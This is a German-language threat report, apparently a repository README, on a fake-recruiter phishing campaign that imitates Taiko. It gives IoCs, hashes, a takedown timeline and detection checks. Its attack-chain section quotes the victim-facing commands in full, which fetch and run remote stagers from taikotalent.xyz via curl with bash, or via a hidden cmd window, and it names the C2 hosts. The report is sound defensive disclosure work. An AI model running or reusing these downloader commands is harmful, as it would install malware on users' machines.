taikotalent.xyz — Fake-Recruiter-Terminal-Trojaner (IoCs & Erkennung)

STATUS: ABGESCHALTET. Die bösartige Domain taikotalent.xyz wurde von ihrem Registrar (clientHold) am 2026-10-10 um 02:39 UTC gesperrt — etwa 12 Stunden nach unserer mit Beweisen untermauerten Nachmeldung an AWS Abuse, während die Payload noch aktiv war. Verifiziert am 2026-10-15 via RDAP und DNS. Details in der untenstehenden Zeitleiste.

UPDATE 2026-10-15 — PHISHING-DOMAIN ABGESCHALTET. taikotalent.xyz und hr.taikotalent.xyz liefern nun NXDOMAIN (geprüft via DNS-over-HTTPS, 2026-10-15) — 10 Tage nach den koordinierten Meldungen vom 5. Oktober (AWS-Fall 179121234700301, NameCheap-Ticket NC-DFA-2100, 13 benachrichtigte Kanäle). Die Payload-URLs (/verify_m, /verify_w) lösen nicht mehr auf.

TEILWEISE GEKLÄRT — die C2-Ebene ist weiterhin aktiv: api.gaganata.ink (104.21.84.196 / 172.67.196.60) und api.fallgganata.ink lösen weiterhin hinter Cloudflare auf und antworten per HTTP (404 bei der Probe, 2026-10-15). Missbrauchsmeldungen für die Domains gaganata.ink / fallgganata.ink sind beim Registrar und bei Cloudflare weiterhin ausstehend (das Abuse-Formular erfordert Browser + Turnstile).

Status @ 2026-10-09 00:46 UTC (historisch): Payload weiterhin aktiv — https://taikotalent.xyz/verify_m → HTTP 200, 49.916 Bytes, byte-identisch zur Probe vom 5. Oktober, 4+ Tage nach der AWS-Missbrauchsmeldung.

Eine gezielte Phishing-Kampagne, die Taiko imitiert (das Ethereum-Rollup-Unternehmen — echte Domain taiko.xyz, keine Verbindung zu taikotalent.xyz), versendet gefälschte Recruiting-E-Mails über eine „Engineering-Stelle" an Open-Source-Entwickler, deren Adressen aus ihren öffentlichen GitHub-Profilen gesammelt wurden. Das gefälschte „Bewerbungsportal" endet auf einer Seite „Anti-Bot-Check mit Terminal", die das Opfer dazu überredet, einen Downloader-Befehl in sein eigenes Terminal einzufügen — kein Exploit nötig, der Nutzer führt die Malware selbst aus.

Zeitleiste der Abschaltung

Datum (UTC)	Ereignis
2026-10-05	Kampagne eingegangen; Probe unter Quarantäne gestellt; vollständiger forensischer Bericht versendet (AWS-Fall `179121234700301`, Resend, Taiko)
2026-10-09	Offenlegung ausgeweitet: dieses Repo, Gist, dev.to, GitLab-Snippet, Telegraph; 9 weitere Benachrichtigungen inkl. NameCheap Abuse (→ Ticket `NC-DFA-2100`), Softshellweb (Payload-Host), Cloudflare (C2), APWG, OpenPhish, oss-security, 3 Medienhäuser. Payload weiterhin byte-identisch & aktiv
2026-10-15	`taikotalent.xyz` / `hr.taikotalent.xyz` → NXDOMAIN. Phishing-Infrastruktur 10 Tage nach der ersten Meldung abgeschaltet. C2 (`api.gaganata.ink`, `api.fallgganata.ink`) löst weiterhin hinter Cloudflare auf

Warum das wichtig ist

Das Neue: das Social-Engineering-Muster „Terminal als CAPTCHA" — ein gefälschter Anti-Bot-Check, der das Ausführen des Stagers zum „Verifizierungsschritt" macht.
Der Verantwortungsaspekt: am 5. Oktober über die korrekten Kanäle gemeldet (AWS-Fallnummer, Resend, Taiko) mit einem vollständigen forensischen Bericht; die Trojaner-URL liefert am 9. Oktober weiterhin eine byte-identische Payload aus.
Der Vertrauensaspekt: SPF und DKIM bestehen beide — die Authentifizierung beweist die Kontrolle über eine 8 Tage alte Domain, nicht deren Reputation. Mail-Gateways, die einen DMARC-Pass als Sicherheit werten, sind angreifbar.
Der Forensikaspekt: anti-forensisches Design — selbstlöschender Stager, base64-eingebettete zweite Stufe unter /var/tmp/.kdm.*, abgekoppelt via Perl-Double-Fork, 60-Wiederholungs-Aufräumschleife.

Kompromittierungsindikatoren

Typ	Wert	Kontext
Domain	`taikotalent.xyz`	Registriert am 2026-09-27 (Namecheap), 8 Tage vor der Kampagne
Versand-Subdomain	`hr.taikotalent.xyz`	DKIM d=; MX → AWS SES Inbound-Gateway
Absender	`[email protected]`	Gefälschte Identität „Joseph Quintana, Talent, Taiko“
Versand-IP	`23.249.215.58`	`d215-58.smtp-out.sa-east-1.amazonses.com` (Amazon SES über Resend)
Portal	`https://taikotalent.xyz/`	„Private invitation“-SPA, empfängerspezifische Ref-Codes (`Ref-oxqgd77kb9zw14`)
Exfiltration	`POST /track-activity`	Geräte-Fingerprint + Name/E-Mail/GitHub-Benutzername bei jedem Formularschritt
Payload (macOS/Linux)	`https://taikotalent.xyz/verify_m`	49.916 B Bash-Stager „deepfake_guard“ — LIVE 2026-10-09
Payload (Windows)	`https://taikotalent.xyz/verify_w`	`v.cmd`-Launcher, verstecktes Fenster
C2	`https://api.gaganata.ink/guard-launcher-result`	Installationsstatus-Beacon (Namecheap, Cloudflare-vorgeschaltet)
C2-Backup	`https://api.fallgganata.ink`	Sekundärer Endpunkt
Payload-Host-IP	`193.160.32.10`	Shock Hosting (US-SHOCK1-20191118)
Zweite Stufe	`/var/tmp/.kdm.XXXXXX`	Base64-dekodierte eingebettete Stufe; anti-forensische Selbstlöschung

Wichtige SHA-256-Hashes

Artefakt	SHA-256
`verify_m` unter Quarantäne gestellt am 2026-10-05 (49.916 B)	`c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d`
`verify_m` erneut abgerufen LIVE 2026-10-09	`c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d` (byte-identisch)
Ursprüngliche Phishing-E-Mail (Rohdaten)	`84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564`
Ursprünglicher `.eml`-Anhang (11.098 B)	`3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3`
Forensischer Bericht als PDF (17 Seiten, 201.044 B)	`d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c`

Selbst überprüfen (nicht destruktiv)

curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d   (do NOT execute the download)

Erkennung

YARA (siehe yara/bash_stager_taikotalent.yar)

Prüfung auf Host-Kompromittierung (macOS/Linux):

ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null

Netzwerk: Egress zu *.gaganata.ink, *.fallgganata.ink, taikotalent.xyz (inkl. hr.-Subdomain) blockieren/überwachen.

Mail-Admins: Behandeln Sie SPF/DKIM pass von kürzlich registrierten Domains als neutral — Authentifizierung ≠ Reputation.

Angriffskette

Gezielte E-Mail an einen öffentlichen GitHub-Contributor mit dem Angebot einer Taiko-Engineering-Rolle, von [email protected] (DKIM s=resend d=hr.taikotalent.xyz, über Amazon SES sa-east-1, IP 23.249.215.58).
„Private invitation“-SPA-Portal mit Ref-Codes pro Empfänger; POST /track-activity exfiltriert bei jedem Schritt Geräte-Fingerprints.
„Anti-bot check with Terminal“-Seite weist an, einen Befehl in das eigene Terminal des Opfers einzufügen:
- macOS/Linux: perl -MPOSIX Double-Fork-Daemonisierung + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_m
- Windows: start -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'
Stager deepfake_guard: startet sich abgekoppelt via nohup neu, sendet Beacons an api.gaganata.ink/guard-launcher-result (Fallback api.fallgganata.ink), dekodiert die eingebettete Base64-Zweitstufe nach /var/tmp/.kdm.XXXXXX, führt sie mit C2-Endpunkten als Umgebungsvariablen aus und löscht sich anschließend selbst — Launcher, Statusdatei und /var/tmp-Artefakte (Anti-Forensik-Schleife mit 60 Wiederholungen).

Beliebteste

taikotalent-phishing-iocs